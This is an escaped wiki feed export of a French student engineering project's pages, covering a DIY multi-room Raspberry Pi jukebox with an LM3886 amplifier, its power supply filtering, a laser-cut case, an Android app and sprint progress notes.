&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P4_BoiteFinale.jpg&amp;diff=27118</id>
		<title>Fichier:P4 BoiteFinale.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P4_BoiteFinale.jpg&amp;diff=27118"/>
				<updated>2016-02-13T15:00:21Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:SVG_Boite_P4.png&amp;diff=27117</id>
		<title>Fichier:SVG Boite P4.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:SVG_Boite_P4.png&amp;diff=27117"/>
				<updated>2016-02-13T14:55:34Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:InfluenceCapaSortie.png&amp;diff=27116</id>
		<title>Fichier:InfluenceCapaSortie.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:InfluenceCapaSortie.png&amp;diff=27116"/>
				<updated>2016-02-13T14:40:52Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:InfluenceResistance.png&amp;diff=27115</id>
		<title>Fichier:InfluenceResistance.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:InfluenceResistance.png&amp;diff=27115"/>
				<updated>2016-02-13T14:39:40Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:InfluenceCapaEntree.png&amp;diff=27114</id>
		<title>Fichier:InfluenceCapaEntree.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:InfluenceCapaEntree.png&amp;diff=27114"/>
				<updated>2016-02-13T14:37:17Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27113</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27113"/>
				<updated>2016-02-13T14:25:14Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Préparation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Amplificateur'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Alimentation'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
